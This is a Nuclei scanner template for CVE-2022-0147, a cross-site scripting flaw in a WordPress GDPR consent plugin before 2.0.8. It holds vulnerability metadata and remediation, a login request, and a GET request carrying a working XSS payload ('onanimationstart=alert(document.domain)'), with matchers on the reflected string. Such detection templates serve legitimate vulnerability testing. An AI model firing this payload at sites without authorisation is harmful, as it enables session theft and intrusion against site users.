nuclei-templates/http/cves/2022/CVE-2022-0147.yaml

63 lines
2.2 KiB
YAML

id: CVE-2022-0147
info:
name: WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting
author: 8arthur
severity: medium
description: |
WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Update to the latest version of the WordPress Cookie Information/Free GDPR Consent Solution plugin (2.0.8 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/2c735365-69c0-4652-b48e-c4a192dfe0d1
- https://wordpress.org/plugins/wp-gdpr-compliance/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0147
- https://plugins.trac.wordpress.org/changeset/2681371
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0147
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.40858
cpe: cpe:2.3:a:cookieinformation:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: cookieinformation
product: wp-gdpr-compliance
framework: wordpress
tags: cve2022,wordpress,xss,wp,authenticated,cve,wp-plugin,wp-gdpr-compliance,wpscan
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
- "toplevel_page_wp-gdpr-compliance"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200